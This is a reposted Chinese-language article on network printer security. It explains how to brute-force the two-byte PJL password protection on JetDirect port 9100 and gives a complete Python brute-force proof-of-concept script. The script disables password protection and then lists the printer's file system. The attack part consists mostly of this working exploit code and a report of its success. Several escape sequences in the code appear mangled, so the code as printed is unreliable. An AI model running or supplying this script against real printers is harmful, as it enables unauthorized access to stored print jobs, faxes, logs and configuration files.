加入收藏 | 设为首页 | 会员中心 | 我要投稿 核心网 (https://www.hxwgxz.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 建站 > 正文

不可忽视的打印机漏洞研究

发布时间:2019-06-20 01:15:46 所属栏目:建站 来源:VoltCary
导读:一、前言 经过最近一段时间测试,发现企业内网打印机存在多种漏洞,同时也经常被大家所忽略,因此才有本文的研究。当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。 常见攻击,信息泄露,如访问内存,可能发现密

若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。如果直接通过9100端口执行PJL命令,说明存在未授权访问。

PJL是打印控制语言PCL的扩展。文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。

9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。该软件负责处理通过网络提交的打印请求。网络打印机通过JetDirect协议,侦听,接收打印请求数据。

如下是PJL密码存储格式:

  1. @PJL JOB PASSWORD=0  
  2. @PJL DEFAULT PASSWORD=12345  
  3. @PJL DEFAULT DISKLOCK=ON  
  4. @PJL DEFAULT CPLOCK=ON 

可通过 内存和文件系统读取获取密码,或暴力破解。

爆破代码python3如下:

  1. import socket 
  2. import sys 
  3.  
  4. def main(): 
  5.     if len(sys.argv)<=1: 
  6.         print('Parameters error') 
  7.         return 
  8.     s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
  9.     s.settimeout(10) 
  10.     s.connect((sys.argv[1],9100)) 
  11.     s.settimeout(None) 
  12.     # 发送读取设备ID的PJL指令 
  13.     s.send(('33%-12345X@PJL INFO IDrn33%-12345Xrn').encode('UTF-8')) 
  14.     print(s.recv(1024).decode('UTF-8')) 
  15.  
  16.     for i in range(1, 65536): 
  17.         buf = b'' 
  18.         # 发送重置密码的PJL指令 
  19.         s.send(('33%-12345X@PJL rn@PJL JOB PASSWORD=' + str(i) + 'rn@PJL DEFAULT PASSWORD=0 rn@PJL EOJrn33%-12345Xrn').encode('UTF-8')) 
  20.         if i%30 == 0: 
  21.             # 发送查询密码保护状态的PJL指令 
  22.             s.send(('33%-12345X@PJL rn@PJL DINQUIRE PASSWORDrn33%-12345Xrn').encode('UTF-8')) 
  23.             while True: 
  24.                 buf += s.recv(1) 
  25.                 print(buf) 
  26.                 try: 
  27.                     buf.index(b'rnx0c') 
  28.                     try: 
  29.                         # 密码保护被禁用 
  30.                         buf.index(b'DISABLED') 
  31.                         print('password disabled ok!') 
  32.                         # 发送查询目录的PJL指令 
  33.                         s.send(('33%-12345X@PJL rn@PJL FSDIRLIST NAME = "0:" ENTRY=1 COUNT=99rn33%-12345Xrn').encode('UTF-8')) 
  34.                         buf = b'' 
  35.                         while True: 
  36.                             buf += s.recv(1) 
  37.                             print(buf) 
  38.                             try: 
  39.                                 buf.index(b'rnx0c') 
  40.                                 try: 
  41.                                     # 查询成功 
  42.                                     buf.index(b'ENTRY') 
  43.                                     print('PoC OK!') 
  44.                                     return 
  45.                                 except ValueError: 
  46.                                     print('PoC NO!') 
  47.                                     return 
  48.                             except ValueError: 
  49.                                 continue 
  50.                     except ValueError: 
  51.                         print('password disabled faild!') 
  52.                     finally: 
  53.                         s.close() 
  54.                         return 
  55.                 except ValueError: 
  56.                     continue 
  57.     s.close() 
  58.  
  59. if __name__ == '__main__': 
  60.     main() 

pft使用此脚本爆破:

image.png

返回password disabled ok!,说明成功禁用PJL密码保护。

(编辑:核心网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

热点阅读